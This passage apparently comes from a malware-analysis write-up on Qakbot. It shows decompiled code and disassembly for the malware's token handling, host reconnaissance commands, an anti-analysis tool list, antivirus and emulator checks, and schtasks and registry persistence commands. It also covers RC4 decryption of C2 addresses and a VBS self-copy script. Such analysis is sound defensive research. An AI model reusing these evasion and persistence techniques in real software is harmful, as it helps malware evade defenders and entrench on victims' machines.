QueryUserToken: Get Primary Token<br>  {<br>    GetLastError();<br>    return 0;<br>  }<br>  token_info = get_token_info(token);<br>  v13 = token_info;<br>  if ( token_info )<br>  {<br>    if ( (advapi_struct-&gt;EqualSid)(*token_info, proc_sid) )<br>    {<br>      v15 = 0;<br>      memset(lpProcessInformation, 0, sizeof(lpProcessInformation));<br>      memset(lpStartupInfo, 0, sizeof(lpStartupInfo));<br>      lpStartupInfo[0] = 0x44;<br>      lpStartupInfo[2] = &amp;v15;<br>      if ( (kernel32_struct-&gt;CreateProcessAsUserW)(<br>             token,<br>             0,<br>             cmdline,<br>             0,<br>             0,<br>             0,<br>             0x4000000,<br>             0,<br>             0,<br>             lpStartupInfo,<br>             lpProcessInformation) )<br>      {<br>        v4 = 1;<br>      }</pre><h4>Get process integrity level</h4><pre>char __thiscall mlwr_get_integrity_lvl(void *this)<br>{<br>  char v1; // bl<br>  _DWORD *v3; // esi<br>  unsigned __int8 *v4; // eax<br>  unsigned __int8 v5; // al<br>  _DWORD *v6; // eax<br>  char v7[4]; // [esp+4h] [ebp-Ch] BYREF<br>  _DWORD *v8; // [esp+8h] [ebp-8h] BYREF<br>  int v9; // [esp+Ch] [ebp-4h] BYREF<br>  <br>  v1 = 0;<br>  if ( !(advapi_struct-&gt;OpenProcessToken)(this, 8, &amp;v9) )<br>    return 0;<br>  v3 = sub_1000EEF9(25, v9, v7);<br>  v8 = v3;<br>  if ( v3 )<br>  {<br>    v4 = (advapi_struct-&gt;GetSidSubAuthorityCount)(*v3);<br>    if ( v4 )<br>    {<br>      v5 = *v4;<br>      if ( v5 )<br>      {<br>        v6 = (advapi_struct-&gt;GetSidSubAuthority)(*v3, v5 - 1);<br>        if ( v6 )<br>        {<br>          if ( *v6 &gt;= 0x2000u )                 // SECURITY_MANDATORY_MEDIUM_RID 0x00002000 Medium integrity<br>          {<br>            v1 = 2;                             // Integrity MEDIUM<br>            if ( *v6 &gt;= 0x3000u )               // SECURITY_MANDATORY_HIGH_RID 0X00003000 High integrity<br>              v1 = 3;                           // Integrity HIGH<br>          }<br>          else<br>          {<br>            v1 = 1;                             // Other Integrity (Most probably LOW, 0x1000)<br>          }<br>        }<br>      }<br>    }<br>    heap_dealloc(&amp;v8, 0);<br>  }<br>  (kernel32_struct-&gt;CloseHandle)(v9);           // closehandle<br>  return v1;<br>}</pre><h4>Fingerprinting on system</h4><pre>qbot_enum_s-&gt;snapshot_proc_list = v4;<br>    qbot_enum_s-&gt;file_full_path = &amp;qbot_s-&gt;file_full_path;<br>    qbot_enum_s-&gt;dword8C = &amp;qbot_s-&gt;D1425;<br>    v32 = str_dec_3(1154);                      // net view<br>    qbot_enum_s-&gt;net_view_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(685);                       //  cmd /c set<br>    qbot_enum_s-&gt;cmd_set_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(1388);                      // arp -a<br>    qbot_enum_s-&gt;arp_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(1354);                      // ipconfig /all<br>    qbot_enum_s-&gt;ipconfig_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    if ( (qbot_s-&gt;is_sys_32_bit &amp; 4) == 0 )<br>    {<br>      v32 = str_dec_3(825);                     // nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s<br>      printf(v22, 128, v32, qbot_s-&gt;Domain_Name);<br>      mlwr_heap_free(&amp;v32);<br>      qbot_enum_s-&gt;nslookup_result = mlwr_create_proc(v22);<br>    }<br>    v32 = str_dec_3(1120);                      // nltest /domain_trusts /all_trusts<br>    qbot_enum_s-&gt;nltest_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(287);                       // net share<br>    qbot_enum_s-&gt;net_share_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(1270);                      // route print<br>    qbot_enum_s-&gt;route_print_resutl = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(672);                       // netstat -nao<br>    qbot_enum_s-&gt;netstat_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(180);                       // net localgroup<br>    qbot_enum_s-&gt;dwordCC = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(84);                        // qwinsta<br>    qbot_enum_s-&gt;qwinsta_result = mlwr_create_proc(v32);<br>    mlwr_heap_free(&amp;v32);<br>    v32 = str_dec_3(993);                       // whoami /all<br>    qbot_enum_s-&gt;whoami_result = mlwr_create_proc(v32);<br>...<br>v30 = decrypt_str(0x9A0u);                // ROOT\CIMV2<br>v8 = decrypt_str(0x10BEu);                // Win32_ComputerSystem<br>v25 = v8;<br>v29 = decrypt_str(0x270u);                // Win32_Bios<br>v28 = decrypt_str(0x12DDu);               // Win32_DiskDrive<br>v27 = decrypt_str(0xDEFu);                // Win32_PhysicalMemory<br>v26 = decrypt_str(0x1136u);               // Win32_Product<br>v32 = decrypt_str(0x724u);                // Win32_PnPEntity<br>v24 = decrypt_str(0x9E8u);                // Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName<br>v9 = decrypt_str(0xAD0u);                 // Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status<br>v10 = v8;<br>v11 = v30;<br>v23 = v9;<br>v12 = mlwr_COM_exec_enum(v30, v10);</pre><h4>Get ComputerName and VolumeInfo</h4><pre>(kernel32_struct-&gt;GetComputerNameW)(String2, &amp;v16);<br>  lstrcpynW(a2, String2, 256);<br>  v15 = decrypt_str(0x51Au);                    // c:\\<br>  v4 = (kernel32_struct-&gt;GetVolumeInformationW)(v15, v12, 256, &amp;v17, 0, 0, v13, 256);<br>  v17 = v4 != 0 ? v17 : 0;<br>  mlwr_heap_free(&amp;v15);<br>  v11 = v17;<br>  v10 = 256 - get_len(a2);<br>  len = get_len(v5);<br>  printf(&amp;a2[len], v10, 80207720, v11);<br>  strcat(a2, a1);                    <br>  v16 = get_len(a2);<br>  charupperbuf(a2, v16);             <br>                                                <br>  v7 = get_len(a2);<br>  return maybe_calc_hash(2 * v7, v8, 0);</pre><h4>Process thread for anti analysis / anti debug</h4><ul><li>PEB-&gt;BeingDebugged</li><li>Check for listed analysis process (<a href="https://github.com/ghoulgy/RandomCodes/blob/master/Script/malware_analysis/mal_decryption/qakbot/dec_string_list.txt#L102">Github</a>)and wpcap.dll</li></ul><pre>if ( mlwr_to_get_reg_rc4(62) == -1 )<br>{<br>  while ( 1 )<br>  {<br>    if ( mlwr_anti_analysis() &gt; 0 )<br>    {<br>      mlwr_write_reg_key_val_2(63, 1);<br>      return 0;<br>    }<br>    if ( NtCurrentPeb()-&gt;BeingDebugged )<br>      break;<br>    (kernel32_struct-&gt;SleepEx)(1000, 1);<br>  }<br>// Mess up with some memory layout<br>  v3 = 0;<br>  for ( i = 0; i &lt; 0x80; ++i )<br>    *(i + 80213744) ^= 0xB8u;<br>  do<br>  {<br>    *(v3 + 80212048) ^= 0xB8u;<br>    ++v3;<br>  }<br>  while ( v3 &lt; 0x80 );<br>}</pre><h4>Anti Analysis</h4><p>The malware will stop when these process was found in the snapshot of the processes</p><pre>int mlwr_anti_analysis() {<br>  v0 = 0;<br>  v1 = str_dec_2(); // frida-winjector-helper-32.exe,.....<br>  v6 = v1;<br>  if ( !v1 )<br>    return -1;<br>  v3 = mlwr_cmp_str(59, v1, 0, &amp;v4);<br>  v5 = str_dec_2(); // wpcap.dll<br>  if ( v5 )<br>  {<br>    v0 = mlwr_cmp_proc_name_av(0x4C6F0B1, &amp;v3);<br>    mlwr_buf_check(&amp;v5);<br>    sub_1000AA95(&amp;v3, &amp;v4);<br>  }<br>  mlwr_buf_check(&amp;v6);<br>  ...<br>}<br><br>// frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;<br>// windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;<br>// packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;<br>// not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;<br>// idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;<br>// proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;<br>// joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;<br>// sysAnalyzer.exe</pre><h4>Anti Anti-Virus</h4><p>Detect MS Defender emulation folder C:\INTERNAL\__empty</p><pre>some_INTERNAL_path = NtCurrentPeb();<br>    if ( some_INTERNAL_path-&gt;BeingDebugged )    // anti-debug<br>    {<br>      for ( i = 0; i &lt; 0x80; ++i )<br>        *(i + 80213744) ^= 0xB7u;<br>      for ( j = 0; j &lt; 0x80; ++j )<br>        *(j + 80212048) ^= 0xB7u;<br>    }<br>    kernel32_struct = mlwr_get_func(0x140u, 80206152, 1717);<br>    some_INTERNAL_path = decrypt_str(0xD28u);   // C:\INTERNAL\__empty<br>    if ( GetFileAttributesW(&amp;some_INTERNAL_path-&gt;InheritedAddressSpace) != -1 )<br>    {<br>      mlwr_heap_free(&amp;some_INTERNAL_path);<br>      return 0;<br>    }<br></pre><p>Besides that, it will enumerate AV processes within the machine using WQL and then it will compare the results with the deobfuscated AV processes string over <a href="https://github.com/ghoulgy/RandomCodes/blob/master/Script/malware_analysis/mal_decryption/qakbot/dec_string_list.txt#L132-L156"><strong>here</strong></a></p><pre>v0 = 0;<br>v9 = decrypt_str(0x123u);                     // root\SecurityCenter2<br>v1 = mlwr_COM_init(v9);<br>v7 = v1;<br>mlwr_heap_free(&amp;v9);<br>if ( !v1 )<br>  return 0;<br>v3 = decrypt_str(0x5C6u);<br>v9 = v3;                                      // SELECT * FROM AntiVirusProduct<br>v8 = decrypt_str(0xE11u);                     // displayName</pre><h4>Check Is The Machine Infected</h4><p>If SELF_TEST_1 was found, the malware will stop executing further</p><pre>mlwr_heap_free(&amp;some_INTERNAL_path);<br>    v6 = str_dec_3(981);                        // SELF_TEST_1 (Can be Kill Switch, If this was set)<br>    some_INTERNAL_path = sub_10009FA8(v6);<br>    if ( some_INTERNAL_path )<br>    {<br>      user32_struct = mlwr_get_func(0x6Cu, 80206480, 1730);<br>      sub_100023FF();<br>      heap_dealloc(&amp;some_INTERNAL_path, -2);<br>      (kernel32_struct-&gt;ExitProcess)(1);<br>    }</pre><h4>Running some random Win API function</h4><p>These function runs without any parameter.</p><p>I guess this is meant to be hit the hook limit of the AV/EDR tools 🤔</p><pre>032E11EC | 55                       | push ebp                                                                            |<br>032E11ED | 8BEC                     | mov ebp,esp                                                                         |<br>032E11EF | 81EC B4000000            | sub esp,B4                                                                          |<br>032E11F5 | A1 98A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateBitmapIndirect&gt;]                                      |<br>032E11FA | 8985 4CFFFFFF            | mov dword ptr ss:[ebp-B4],eax                                                       |<br>032E1200 | A1 94A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateBrushIndirect&gt;]                                       |<br>032E1205 | 8985 50FFFFFF            | mov dword ptr ss:[ebp-B0],eax                                                       |<br>032E120B | A1 7CA02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateDIBPatternBrush&gt;]                                     |<br>032E1210 | 8985 54FFFFFF            | mov dword ptr ss:[ebp-AC],eax                                                       |<br>032E1216 | A1 80A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateDIBPatternBrushPt&gt;]                                   |<br>032E121B | 8985 58FFFFFF            | mov dword ptr ss:[ebp-A8],eax                                                       |<br>032E1221 | A1 A0A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateDIBSection&gt;]                                          |<br>032E1226 | 8985 5CFFFFFF            | mov dword ptr ss:[ebp-A4],eax                                                       |<br>032E122C | A1 78A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateEllipticRgn&gt;]                                         |<br>032E1231 | 8985 60FFFFFF            | mov dword ptr ss:[ebp-A0],eax                                                       |<br>032E1237 | A1 8CA02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateEllipticRgnIndirect&gt;]                                 |<br>032E123C | 8985 64FFFFFF            | mov dword ptr ss:[ebp-9C],eax                                                       |<br>032E1242 | A1 68A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateEnhMetaFileA&gt;]                                        |<br>032E1247 | 8985 68FFFFFF            | mov dword ptr ss:[ebp-98],eax                                                       |<br>032E124D | A1 A4A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateFontA&gt;]                                               |<br>032E1252 | 8985 6CFFFFFF            | mov dword ptr ss:[ebp-94],eax                                                       |<br>032E1258 | A1 64A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateFontIndirectExW&gt;]                                     |<br>032E125D | 8985 70FFFFFF            | mov dword ptr ss:[ebp-90],eax                                                       |<br>032E1263 | A1 60A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateHalftonePalette&gt;]                                     |<br>032E1268 | 8985 74FFFFFF            | mov dword ptr ss:[ebp-8C],eax                                                       |<br>032E126E | A1 90A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateHatchBrush&gt;]                                          |<br>032E1273 | 8985 78FFFFFF            | mov dword ptr ss:[ebp-88],eax                                                       |<br>032E1279 | A1 58A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreatePatternBrush&gt;]                                        |<br>032E127E | 8985 7CFFFFFF            | mov dword ptr ss:[ebp-84],eax                                                       |<br>032E1284 | A1 70A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreatePenIndirect&gt;]                                         |<br>032E1289 | 8945 80                  | mov dword ptr ss:[ebp-80],eax                                                       |<br>032E128C | A1 88A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateRectRgnIndirect&gt;]                                     |<br>032E1291 | 8945 84                  | mov dword ptr ss:[ebp-7C],eax                                                       |<br>032E1294 | A1 84A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateRoundRectRgn&gt;]                                        |<br>032E1299 | 8945 88                  | mov dword ptr ss:[ebp-78],eax                                                       |<br>032E129C | A1 6CA02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateScalableFontResourceA&gt;]                               |<br>032E12A1 | 8945 8C                  | mov dword ptr ss:[ebp-74],eax                                                       |<br>032E12A4 | A1 A8A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateScalableFontResourceW&gt;]                               |<br>032E12A9 | 8945 90                  | mov dword ptr ss:[ebp-70],eax                                                       |<br>032E12AC | A1 74A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreateSolidBrush&gt;]                                          |<br>032E12B1 | 8945 94                  | mov dword ptr ss:[ebp-6C],eax                                                       |<br>032E12B4 | A1 9CA02F03              | mov eax,dword ptr ds:[&lt;&amp;GdiGetBatchLimit&gt;]                                          |<br>032E12B9 | 8945 98                  | mov dword ptr ss:[ebp-68],eax                                                       |<br>032E12BC | A1 5CA02F03              | mov eax,dword ptr ds:[&lt;&amp;GdiTransparentBlt&gt;]                                         |<br>032E12C1 | 8945 9C                  | mov dword ptr ss:[ebp-64],eax                                                       |<br>032E12C4 | A1 C8A12F03              | mov eax,dword ptr ds:[&lt;&amp;WICMapGuidToShortName&gt;]                                     |<br>032E12C9 | 8945 A0                  | mov dword ptr ss:[ebp-60],eax                                                       |<br>032E12CC | A1 C0A12F03              | mov eax,dword ptr ds:[&lt;&amp;WICMapSchemaToName&gt;]                                        |<br>032E12D1 | 8945 A4                  | mov dword ptr ss:[ebp-5C],eax                                                       |<br>032E12D4 | A1 C4A12F03              | mov eax,dword ptr ds:[&lt;&amp;WICMapShortNameToGuid&gt;]                                     |<br>032E12D9 | 8945 A8                  | mov dword ptr ss:[ebp-58],eax                                                       |<br>032E12DC | A1 1CA02F03              | mov eax,dword ptr ds:[&lt;&amp;AccessCheckAndAuditAlarmA&gt;]                                 |<br>032E12E1 | 8945 AC                  | mov dword ptr ss:[ebp-54],eax                                                       |<br>032E12E4 | A1 10A02F03              | mov eax,dword ptr ds:[&lt;&amp;AccessCheckByTypeAndAuditAlarmA&gt;]                           |<br>032E12E9 | 8945 B0                  | mov dword ptr ss:[ebp-50],eax                                                       |<br>032E12EC | A1 24A02F03              | mov eax,dword ptr ds:[&lt;&amp;AddAccessAllowedAce&gt;]                                       |<br>032E12F1 | 8945 B4                  | mov dword ptr ss:[ebp-4C],eax                                                       |<br>032E12F4 | A1 14A02F03              | mov eax,dword ptr ds:[&lt;&amp;AddAccessAllowedAceEx&gt;]                                     |<br>032E12F9 | 8945 B8                  | mov dword ptr ss:[ebp-48],eax                                                       |<br>032E12FC | A1 08A02F03              | mov eax,dword ptr ds:[&lt;&amp;AddAccessDeniedAce&gt;]                                        |<br>032E1301 | 8945 BC                  | mov dword ptr ss:[ebp-44],eax                                                       |<br>032E1304 | A1 44A02F03              | mov eax,dword ptr ds:[&lt;&amp;AddAuditAccessObjectAce&gt;]                                   |<br>032E1309 | 8945 C0                  | mov dword ptr ss:[ebp-40],eax                                                       |<br>032E130C | A1 0CA02F03              | mov eax,dword ptr ds:[&lt;&amp;BuildTrusteeWithSidA&gt;]                                      |<br>032E1311 | 8945 C4                  | mov dword ptr ss:[ebp-3C],eax                                                       |<br>032E1314 | A1 20A02F03              | mov eax,dword ptr ds:[&lt;&amp;ChangeServiceConfig2A&gt;]                                     |<br>032E1319 | 8945 C8                  | mov dword ptr ss:[ebp-38],eax                                                       |<br>032E131C | A1 50A02F03              | mov eax,dword ptr ds:[&lt;&amp;CloseTrace&gt;]                                                |<br>032E1321 | 8945 CC                  | mov dword ptr ss:[ebp-34],eax                                                       |<br>032E1324 | A1 30A02F03              | mov eax,dword ptr ds:[&lt;&amp;ConvertToAutoInheritPrivateObjectSecurity&gt;]                 |<br>032E1329 | 8945 D0                  | mov dword ptr ss:[ebp-30],eax                                                       |<br>032E132C | A1 00A02F03              | mov eax,dword ptr ds:[&lt;&amp;CreatePrivateObjectSecurity&gt;]                               |<br>032E1331 | 8945 D4                  | mov dword ptr ss:[ebp-2C],eax                                                       |<br>032E1334 | A1 18A02F03              | mov eax,dword ptr ds:[&lt;&amp;EnumerateTraceGuidsEx&gt;]                                     |<br>032E1339 | 8945 D8                  | mov dword ptr ss:[ebp-28],eax                                                       |<br>032E133C | A1 48A02F03              | mov eax,dword ptr ds:[&lt;&amp;EqualDomainSid&gt;]                                            |<br>032E1341 | 8945 DC                  | mov dword ptr ss:[ebp-24],eax                                                       |<br>032E1344 | A1 2CA02F03              | mov eax,dword ptr ds:[&lt;&amp;EtwEventActivityIdControl&gt;]                                 |<br>032E1349 | 8945 E0                  | mov dword ptr ss:[ebp-20],eax                                                       |<br>032E134C | A1 3CA02F03              | mov eax,dword ptr ds:[&lt;&amp;EtwEventWrite&gt;]                                             |<br>032E1351 | 8945 E4                  | mov dword ptr ss:[ebp-1C],eax                                                       |<br>032E1354 | A1 40A02F03              | mov eax,dword ptr ds:[&lt;&amp;EtwEventWriteEx&gt;]                                           |<br>032E1359 | 8945 E8                  | mov dword ptr ss:[ebp-18],eax                                                       |<br>032E135C | A1 28A02F03              | mov eax,dword ptr ds:[&lt;&amp;EtwEventWriteString&gt;]                                       |<br>032E1361 | 8945 EC                  | mov dword ptr ss:[ebp-14],eax                                                       |<br>032E1364 | A1 4CA02F03              | mov eax,dword ptr ds:[&lt;&amp;EtwEventWriteTransfer&gt;]                                     |<br>032E1369 | 8945 F0                  | mov dword ptr ss:[ebp-10],eax                                                       |<br>032E136C | A1 38A02F03              | mov eax,dword ptr ds:[&lt;&amp;FindFirstFreeAce&gt;]                                          |<br>032E1371 | 8945 F4                  | mov dword ptr ss:[ebp-C],eax                                                        |<br>032E1374 | A1 04A02F03              | mov eax,dword ptr ds:[&lt;&amp;GetEventLogInformation&gt;]                                    |<br>032E1379 | 8945 F8                  | mov dword ptr ss:[ebp-8],eax                                                        |<br>032E137C | A1 34A02F03              | mov eax,dword ptr ds:[&lt;&amp;GetAce&gt;]                                                    |<br>032E1381 | 8945 FC                  | mov dword ptr ss:[ebp-4],eax                                                        |<br>032E1384 | 81F9 250C0000            | cmp ecx,C25                                                                         |<br>032E138A | 75 11                    | jne 32E139D                                                                         |<br>032E138C | 56                       | push esi                                                                            | <br>032E138D | 33F6                     | xor esi,esi  // Empty out esi                                                                       | <br>032E138F | FF94B5 4CFFFFFF          | call dword ptr ss:[ebp+esi*4-B4] // Call the function                                                   |<br>032E1396 | 46                       | inc esi                                                                             | <br>032E1397 | 83FE 2D                  | cmp esi,2D                                                                          |<br>032E139A | 72 F3                    | jb 32E138F                                                                          |<br>032E139C | 5E                       | pop esi                                                                             | <br>032E139D | 33C0                     | xor eax,eax                                                                         |<br>032E139F | C9                       | leave                                                                               |<br>032E13A0 | C3                       | ret                                                                                 |</pre><h4>Persistent via Schedule Task and Registry</h4><pre>if ( qbot_s-&gt;is_get_desktop_info == 3 )<br>  {<br>    v4 = str_dec_3(0x48B); // schtasks.exe /Create /RU &quot;NT AUTHORITY\SYSTEM&quot; /SC ONSTART /TN %u /TR &quot;%s&quot; /NP /F<br>    v5 = mlwr_allocheap(4096);<br>    v2 = mlwr_issac_random(&amp;qbot_s-&gt;random_seed, 0x10000000, -1);<br>    printf(v5, 4096, v4, v2, a1);<br>    if ( !mlwr_createproc(v5, 0, 3000, 1, 0) )<br>      v1 = -1;<br>    mlwr_heap_free(&amp;v4);<br>    mlwr_write_reg_key_val_2(60, v2);<br>    heap_dealloc(&amp;v5, -2);<br>  }<br>  else<br>  {<br>    v4 = decrypt_str(0x12EDu); // SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br>    v1 = mlwr_set_reg_key_2(-2147483647, v4, a1);<br>    mlwr_heap_free(&amp;v4);<br>    if ( v1 &gt;= 0 )<br>      v1 = 0;<br>    else<br>      mlwr_file_ops();<br>    heap_dealloc(&amp;a1, -2);<br>  }<br>  return v1;</pre><h4>Move/Copy+Delete self in %AppData% folder</h4><p>It will move/copy+delete itselfinto the %AppData% folder with specific path C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\&lt;RANDOM_NAME&gt; if hiberfil.sys can be reached, it is locked when the system is not in hibernate/shudtdown/sleep mode</p><pre>if ( !query_reg_key_val(0x33) &amp;&amp; ( <br>query_reg_key_val(0x12) ||<br>mlwr_get_hiberfil_sys())  // If hiberfil is not locked, via GetFileAttributes<br>{<br>        SystemTimeAsFileTime = mlwr_GetSystemTimeAsFileTime(0);<br>        printf(NewFileName, 260, 0x4C7DE6C, v2, SystemTimeAsFileTime);<br>        MoveFileW(v2, NewFileName);<br>      }<br>      else<br>      {<br>        if ( sub_100052FB(v2) &lt; 0 )<br>          return heap_dealloc(&amp;v5, -2);<br>        mlwr_to_cpy_del(v2);<br>      }<br>...<br>}</pre><pre>// Check c:\hiberfil.sys availability<br>v2 = decrypt_str(0xEBBu);                     // c:\hiberfil.sys<br>v0 = mlwr_to_getfileattributew(v2);<br>mlwr_heap_free(&amp;v2);</pre><h4>Self Update</h4><p>Execute the command rundll32 &lt;self_file_path&gt;, Uptd</p><pre>...<br>if ( !(kernel32_struct-&gt;CreateProcessW)(0, a1, 0, 0, 0, a4 != 0 ? 0x8000000 : 0, 0, 0, v7, v8) )<br>    return 0;<br>...</pre><p>It will also write into registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run data value and schedule task</p><h4>Adding Reg Key</h4><p>This can be done through reg.exe or Reg* Windows API</p><p>Adding new key value in SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence</p><p>Adding new key value in Software\\Microsoft\\&lt;RAND_VAL&gt; to store RC4-ed data</p><p>Read SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList ProfileImagePath to check for account privilege</p><pre>// Add via windows api <br>   if ( (advapi_struct-&gt;RegOpenKeyExW)(a2, a1, 0, 2, &amp;v19) )<br>      return -1;<br>    if ( a5 )<br>    {<br>      if ( (advapi_struct-&gt;RegSetValueExW)(v19, a3, 0, 1, a5, a6) )<br>      {<br>        v15 = -2;<br>LABEL_22:<br>        v6 = v15;<br>      }<br>    }<br>    // Delete reg key as well<br>    else if ( (advapi_struct-&gt;RegDeleteValueW)(v19, a3) )<br>    {<br>      v15 = -3;<br>      goto LABEL_22;<br>    }<br><br>// Add via reg.exe<br>reg.exe ADD &quot;HKLM\%s&quot; /f /t %s /v &quot;%s&quot; /d &quot;%s&quot;</pre><h4>Create Registry key to store some data</h4><p>To get the registry key value, Qakbot will xor decrypt some hard coded bytes into Software\\Microsoft\\&lt;RAND_GEN_VAL&gt;</p><p>The registry value data is encrypted with RC4 algorithm. (Including campaign ID etc.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*0Mh47F4WhxF6wl2LOAFzbA.png" /><figcaption>RC4 encrypted data</figcaption></figure><h4>Remove Persistent</h4><pre>// Via Windows API<br>if ( (advapi_struct-&gt;RegOpenKeyExA)(v4[67], v6, 0, 2, &amp;v15, a2, a3, a1) )<br>    {<br>      v5 = -2;<br>    }<br>    else<br>    {<br>      if ( (advapi_struct-&gt;RegDeleteValueA)(v15, v13) )<br>        v5 = -4;<br>      (advapi_struct-&gt;RegCloseKey)(v15, v8, v9);<br><br>// Via schedule task <br>schtasks.exe /Delete /F /TN %u</pre><h4>Double RC4 crypto on Resource file Component_07 / Component_08</h4><p>Decrypt and verify the result by comparing the first 0x14h bytes of the decrypted bytes with the SHA1 of bytes after first 0x14h bytes. If it fails it will use the hard-coded key generated to perform another round of RC4.</p><p>The first layer is decrypted by the SHA1 hard-coded key and the second layer use the key from first 0x14h bytes and RC4 with the rest of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*R8MAZL5YZPhFlM_YAOILCA.png" /><figcaption>Illustration of the explanation above</figcaption></figure><p>Resource <strong>Component_07</strong> contains campaign info, meanwhile resource <strong>Component_08</strong> contains list of IP C2 + port in hex form</p><pre>// Component_08 contains IP port list in hex form<br>key = str_dec_4();                          // Component_08<br>    rsrc_bytes = mlwr_load_rsrc(key, qbot_s-&gt;rsrc_component_08, &amp;v23);<br>    rsrc_bytes_cpy = rsrc_bytes;<br>    mlwr_buf_check(&amp;key);<br>    if ( rsrc_bytes )<br>    {<br>      to_be_sha1_key = str_dec_4();                        // bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN<br>      v4 = mlwr_to_rc4_crypt(v23, rsrc_bytes, to_be_sha1_key);<br>      v21 = v4;<br>      mlwr_buf_check(&amp;key);<br>      if ( v4 )<br>      {<br>        v5 = mlwr_to_rc4_crypt(*(v4 + 0x428), *(v4 + 0x424), 0);<br>        key = v5;<br>        if ( v5 )<br>        {<br>          mlwr_decrypt_c2_addr_hex(<br>            *(v5 + 1064),<br>            *(v5 + 1060),<br>            c2_buffer + 4,                      // 1st hex<br>            c2_buffer + 5,                      // 2nd hex<br>            c2_buffer + 6,                      // 3rd hex<br>            c2_buffer + 7);                     // 4th hex<br>          mlwr_create_file_0(&amp;key);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*Xi3exvSfyzUUDBlRvLou7w.png" /><figcaption>Illustration for IP port data (Data in blue bracket is SHA1 of the IP port data)</figcaption></figure><h4>Shuffle C2 memory buffer</h4><p>After that the IP port data will gets shuffle into a new memory region that will be used later on, it will be shuffled randomly based on the Issac random results.</p><pre>do<br>{<br>  rand_num = mlwr_issac_random(&amp;qbot_s-&gt;random_seed, 0, v24);<br>  mem_cpy(cursor_dest, cursor, 36);<br>  random_c2_buffer = (c2_buffer_cpy_1 + 0x24 * rand_num);<br>  mem_cpy(cursor, random_c2_buffer, 36);<br>  mem_cpy(random_c2_buffer, cursor_dest, 36);<br>  v24 = v36;<br>  cursor += 36;<br>  --sent_val;<br>}<br>while ( sent_val );</pre><h4>Convert Hex IP port into decimal form</h4><p>This will be done by using ws2_32.inet_ntoa</p><h4>Connect to clean sites with a sleep loop</h4><p>Mostly just using <a href="https://learn.microsoft.com/en-us/windows/win32/api/wininet/">WinINet</a> functions to perform the action.</p><p>User agent: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0 or from urlmon.ObtainUserAgentString</p><p>MIME type: application/x-shockwave-flash, image/gif, image/jpeg image/pjeg and */*</p><p>Content Type: Content-Type: application/x-www-form-urlencoded</p><pre>int __cdecl mlwr_loop_sleep_internet_conn(int url_or_ip)<br>// Try to connect to legit site (below) first<br>// microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com<br>{<br>  unsigned int i; // esi<br>  int v2; // edi<br>  <br>  // Such a big sleep loop to create some heart beat I guess ?<br>  for ( i = 2000; i &lt; 0x1770; i += 2000 )<br>  {<br>    v2 = mlwr_internet_connect(url_or_ip);<br>    if ( v2 &gt;= 0 )<br>      break;<br>    if ( i &gt;= 0xFA0 )<br>      break;<br>    (kernel32_struct-&gt;SleepEx)(i, 1);<br>  }<br>  return v2;</pre><h4><strong>VBS script to copy self</strong></h4><pre>v17 = decrypt_str(0x37u);                     // Set objWMIService = GetObject(&quot;winmgmts:&quot; &amp; &quot;{impersonationLevel=impersonate}!\\.\%coot\cimv2&quot;)<br>                                              // Set colFiles = objWMIService.ExecQuery(&quot;Select * From CIM_DataFile Where Name = &#39;%s&#39;&quot;)<br>                                              // For Each objFile in colFiles<br>                                              // objFile.Copy(&quot;%s&quot;)<br>                                              // Next<br>printf(v4, 4096, v17, 114, 